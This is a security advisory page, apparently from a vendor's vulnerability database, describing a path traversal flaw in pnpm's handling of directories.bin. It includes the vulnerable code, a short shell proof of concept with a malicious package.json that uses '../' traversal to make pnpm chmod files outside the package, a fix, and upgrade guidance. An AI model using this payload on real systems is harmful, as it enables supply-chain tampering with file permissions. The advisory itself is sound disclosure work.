GHSA-v253-rj99-jwpq — pnpm
Fix: pnpm/pnpm@17432adGHSA-v253-rj99-jwpq is a Path Traversal vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm has Path Traversal via arbitrary file permission modification
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v253-rj99-jwpq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).
Details
Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}
The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
PoC
# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
# Install
pnpm add file:/tmp/malicious-pkg
# Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)
Impact
- Supply-chain attack via npm packages
- File permissions changed from 600 to 755 (world-readable)
- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix
Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.28.2npm install pnpm@10.28.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.28.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v253-rj99-jwpq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-v253-rj99-jwpq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-v253-rj99-jwpq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v253-rj99-jwpq in your dependencies?
O3 Security finds GHSA-v253-rj99-jwpq across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.